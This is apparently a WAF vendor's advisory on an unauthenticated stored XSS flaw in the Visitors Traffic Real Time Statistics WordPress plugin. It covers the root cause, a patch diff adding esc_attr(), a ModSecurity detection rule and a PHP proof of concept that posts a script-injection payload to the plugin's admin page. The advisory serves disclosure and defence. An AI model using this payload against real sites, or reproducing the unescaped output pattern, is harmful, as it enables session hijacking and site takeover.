Opens in a new tab
Published : November 15, 2026

CVE-2026-28175: Visitors Traffic Real Time Statistics <= 8.11 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 8.11
Patched Version 8.12
Disclosed August 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-28175: The Visitors Traffic Real Time Statistics plugin for WordPress versions up to and including 8.11 contains an unauthenticated Stored Cross-Site Scripting (XSS) vulnerability. The flaw resides in the plugin’s overview.php file, where user-supplied POST parameters are reflected into HTML input value attributes without proper output escaping. An attacker can inject arbitrary JavaScript that executes when an administrator views the plugin’s overview page. The CVSS score is 7.2 (High).

Root Cause: The root cause is insufficient output escaping in the overview.php file. The code at lines 1636-1640 reads the POST parameters ‘from_dt’ and ‘to_dt’, passes them through the ahc_free_sanitize_text_or_array_field() function, and echoes the result directly into HTML attribute values. Atomic Edge research confirms that ahc_free_sanitize_text_or_array_field() does not adequately encode HTML special characters for attribute context. An attacker can supply a payload containing double quotes and angle brackets to break out of the value attribute and inject script tags or event handlers. The vulnerability is triggered when the plugin’s overview page processes a POST request containing these parameters, which occurs without authentication checks on the affected form handler.

Exploitation: An unauthenticated attacker sends a crafted POST request to the WordPress admin endpoint that handles the plugin’s overview form, likely /wp-admin/admin.php?page=ahc_overview or a similar page. The request includes the parameters ‘from_dt’ and ‘to_dt’ with malicious values such as: ‘”>alert(document.cookie)’. The payload is stored in the page’s HTML output because the plugin reflects the POST data back into the form fields. When a site administrator visits the overview page (either immediately after the POST or later if the data persists in a transient or option), the script executes in their browser. This allows theft of session cookies, redirection to malicious sites, or execution of administrative actions.

Patch Analysis: The patch in version 8.12 wraps the output of ahc_free_sanitize_text_or_array_field() with the WordPress esc_attr() function for both ‘from_dt’ and ‘to_dt’ parameters. esc_attr() encodes HTML special characters (such as &, , “, and ‘) into their corresponding HTML entities, preventing the browser from interpreting them as markup. Before the patch, an attacker-controlled string containing a double quote could close the value attribute and inject new attributes or script tags. After the patch, such characters are rendered harmless as encoded entities. This is a correct and sufficient fix for the XSS vulnerability.

Impact: Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the context of an administrator’s browser session. This can lead to full site compromise: session hijacking, creation of new administrative accounts, installation of malicious plugins, or modification of site content. Because the vulnerability is unauthenticated and requires only a crafted POST request, it is easily weaponized for mass exploitation. Atomic Edge research assesses the impact as high, given the potential for privilege escalation and persistent backdoor deployment.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/visitors-traffic-real-time-statistics/Visitors-Traffic-Real-Time-Statistics.php
+++ b/visitors-traffic-real-time-statistics/Visitors-Traffic-Real-Time-Statistics.php
@@ -4,7 +4,7 @@
 Description: Hits counter that shows analytical numbers of your WordPress site visitors and hits.
 Author: wp-buy
 Author URI: https://www.wp-buy.com/
-Version: 8.11
+Version: 8.12
 Text Domain: visitors-traffic-real-time-statistics
 Domain Path: /languages
 */
@@ -12,7 +12,7 @@

 define('AHCFREE_PLUGIN_MAIN_FILE', __FILE__);
 define('AHCFREE_PLUGIN_ROOT_DIR', dirname(__FILE__));
-define('AHCFREE_VERSION', '8.11');
+define('AHCFREE_VERSION', '8.12');

 require_once(AHCFREE_PLUGIN_ROOT_DIR . "/functions.php");
 require_once(AHCFREE_PLUGIN_ROOT_DIR . "/init.php");
--- a/visitors-traffic-real-time-statistics/overview.php
+++ b/visitors-traffic-real-time-statistics/overview.php
@@ -1636,10 +1636,10 @@
                         <input type="hidden" name="section" value="traffic_sources" />
                         <input type="text" readonly="readonly" placeholder="From Date" class="ahc_clear" name="from_dt"
                             id="traffic_from_dt" autocomplete="off"
-                            value="<?php echo isset($_POST['from_dt']) ? ahc_free_sanitize_text_or_array_field($_POST['from_dt']) : ''; ?>" />
+                            value="<?php echo isset($_POST['from_dt']) ? esc_attr(ahc_free_sanitize_text_or_array_field($_POST['from_dt'])) : ''; ?>" />
                         <input type="text" readonly="readonly" placeholder="To Date" class="ahc_clear" name="to_dt"
                             id="traffic_to_dt" autocomplete="off"
-                            value="<?php echo isset($_POST['to_dt']) ? ahc_free_sanitize_text_or_array_field($_POST['to_dt']) : ''; ?>" />
+                            value="<?php echo isset($_POST['to_dt']) ? esc_attr(ahc_free_sanitize_text_or_array_field($_POST['to_dt'])) : ''; ?>" />
                         <input type="submit" class="button button-primary" />
                         <input type="button" class="button button-primary clear_form" value="Clear" />
                     </form>

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-28175
# Blocks unauthenticated stored XSS via the 'from_dt' or 'to_dt' parameters in the Visitors Traffic Real Time Statistics plugin overview form.
# The attack targets /wp-admin/admin.php with page=ahc_overview and injects script tags or event handlers.

SecRule REQUEST_URI "@rx ^/wp-admin/admin.php" 
  "id:202628175,phase:2,deny,status:403,chain,msg:'CVE-2026-28175 via Visitors Traffic Real Time Statistics plugin',severity:'CRITICAL',tag:'CVE-2026-28175'"
  SecRule ARGS_GET:page "@streq ahc_overview" "chain"
    SecRule ARGS_POST:from_dt|ARGS_POST:to_dt "@rx (<script|onerror|onload|javascript:)" "t:none,t:urlDecodeUni,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-28175 - Visitors Traffic Real Time Statistics <= 8.11 - Unauthenticated Stored Cross-Site Scripting

// Configuration
$target_url = 'http://example.com'; // Change to your WordPress site URL

// The vulnerable endpoint is the plugin's overview page, typically accessed via admin.php
// We need to send a POST request with malicious 'from_dt' or 'to_dt' parameters.
// The exact page slug may vary; we assume 'ahc_overview' based on plugin structure.

$endpoint = $target_url . '/wp-admin/admin.php?page=ahc_overview';

// Malicious payload: break out of the value attribute and inject a script
$payload = '"><script>alert(document.cookie)</script>';

// Prepare POST data
$post_data = array(
    'from_dt' => $payload,
    'to_dt' => '2026-01-01', // benign value
    'section' => 'traffic_sources',
    'submit' => 'Submit'
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, false);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Output results
echo "[+] Sent payload to: $endpointn";
echo "[+] HTTP status: $http_coden";

// Check if the payload appears in the response (indicating reflection/storage)
if (strpos($response, $payload) !== false) {
    echo "[!] Payload reflected in response. The site may be vulnerable.n";
} else {
    echo "[-] Payload not reflected in this response. Check the admin overview page manually.n";
}

echo "[+] Exploit attempt complete.n";
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.